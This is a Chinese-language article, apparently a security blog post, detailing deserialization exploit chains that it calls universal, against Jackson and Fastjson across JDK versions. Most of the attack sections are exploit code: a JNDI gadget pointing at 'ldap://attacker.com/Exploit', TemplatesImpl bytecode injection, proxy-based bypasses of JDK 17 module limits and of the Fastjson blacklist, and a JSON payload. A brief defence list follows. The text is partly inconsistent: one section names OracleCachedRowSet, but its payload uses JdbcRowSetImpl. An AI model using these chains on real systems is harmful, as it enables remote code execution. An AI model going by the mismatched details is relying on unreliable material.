Java反序列化通杀之 Jackson JDK全版本通杀 + Fastjson全版本通杀链
字数 1289 2025-08-27 12:33:22
Java反序列化漏洞通杀链分析:Jackson与Fastjson全版本利用
1. 背景概述
Java反序列化漏洞长期以来是Java应用安全的重大威胁。本文详细分析两种主流JSON库(Jackson和Fastjson)的全版本通杀利用链,涵盖从低版本到最新版本(包括JDK 21)的利用技术。
2. Jackson反序列化通杀链
2.1 基本利用原理
Jackson在反序列化时,会通过反射调用对象的getter方法,这为攻击链的构造提供了可能。
2.2 OracleCachedRowSet + Jackson链
核心EXP结构:
// 使用OracleCachedRowSet构造恶意对象
OracleCachedRowSet rowSet = new OracleCachedRowSet();
rowSet.setDataSourceName("ldap://attacker.com/Exploit");
rowSet.setCommand("");
// 使用AopProxy增强稳定性
Object proxy = ProxyUtil.getBProxy(rowSet);
ProxyUtil关键实现:
public class ProxyUtil {
public static Object getBProxy(Object target) {
return Proxy.newProxyInstance(
target.getClass().getClassLoader(),
target.getClass().getInterfaces(),
new JdkDynamicAopProxy(target)
);
}
public static Object getAProxy(Object target, Class<?> interfaceClass) {
return Proxy.newProxyInstance(
target.getClass().getClassLoader(),
new Class[]{interfaceClass},
new JdkDynamicAopProxy(target)
);
}
}
技术要点:
- 使用
JdkDynamicAopProxy可以稳定触发getter方法 - 代理对象保持了原始对象的接口,确保Jackson能正确反序列化
2.3 JDK高版本(17+)绕过技术
从JDK 17开始,由于模块化限制,TemplatesImpl类不可直接使用:
// JDK 17+绕过方案
Class<?> templatesClass = Class.forName("javax.xml.transform.Templates");
Object proxy = Proxy.newProxyInstance(
templatesClass.getClassLoader(),
new Class[]{templatesClass},
(proxy1, method, args) -> {
// 恶意逻辑
return getTemplatesImpl();
}
);
编译和运行参数:
--add-opens java.base/java.lang=ALL-UNNAMED
--add-opens java.base/java.util=ALL-UNNAMED
2.4 触发点选择
高版本中不再使用BadAttributeValueExpException,原因:
- JDK高版本中
BadAttributeValueExpException.val被限制为String类型
替代方案使用EventListenerList:
// 使用EventListenerList触发链
EventListenerList list = new EventListenerList();
list.add(SomeInterface.class, proxy);
2.5 TemplatesImpl利用细节
标准利用条件:
classCount参数 > 1(生成类的数量大于1)_transletIndex≥ 0(指定恶意类索引,默认为-1)
Bypass AbstractTranslet版本:
// 不依赖AbstractTranslet的实现
TemplatesImpl templates = new TemplatesImpl();
setField(templates, "_bytecodes", new byte[][]{evilCode});
setField(templates, "_name", "Pwn");
setField(templates, "_tfactory", new TransformerFactoryImpl());
setField(templates, "_classCount", 2); // 关键设置
setField(templates, "_transletIndex", 0); // 关键设置
3. Fastjson全版本通杀链
3.1 Fastjson 2.0.27+防御机制
- 引入了黑名单机制
- 后续版本改用哈希黑名单,增加分析难度
3.2 绕过黑名单技术
观察:
TemplatesImpl在黑名单中Templates接口不在黑名单中
绕过方案:
// 通过代理Templates接口绕过
Class<?> templatesClass = Class.forName("javax.xml.transform.Templates");
Object proxy = Proxy.newProxyInstance(
templatesClass.getClassLoader(),
new Class[]{templatesClass},
(proxy1, method, args) -> {
return getTemplatesImpl();
}
);
3.3 OracleCachedRowSet利用
虽然Fastjson引入了黑名单,但OracleCachedRowSet未被有效防御:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://attacker.com/Exploit",
"autoCommit": true
}
4. 防御建议
-
Jackson防御:
- 启用
DefaultTyping的安全模式 - 使用
@JsonTypeInfo注解明确指定允许的类型 - 配置
ObjectMapper禁用不安全的特性
- 启用
-
Fastjson防御:
- 升级到最新版本
- 使用
SafeMode配置 - 自定义
ParserConfig设置严格白名单
-
通用防御:
- JVM参数限制反序列化
- 使用Security Manager限制敏感操作
- 监控和过滤可疑的序列化数据
5. 总结
本文详细分析了Jackson和Fastjson在各类JDK版本下的反序列化利用技术,关键点包括:
- 使用AopProxy增强Jackson链稳定性
- JDK高版本通过代理接口绕过模块化限制
- Fastjson通过接口代理绕过黑名单
- TemplatesImpl的参数设置技巧
这些技术极大扩展了Java反序列化的攻击面,开发者需高度重视相关防御措施。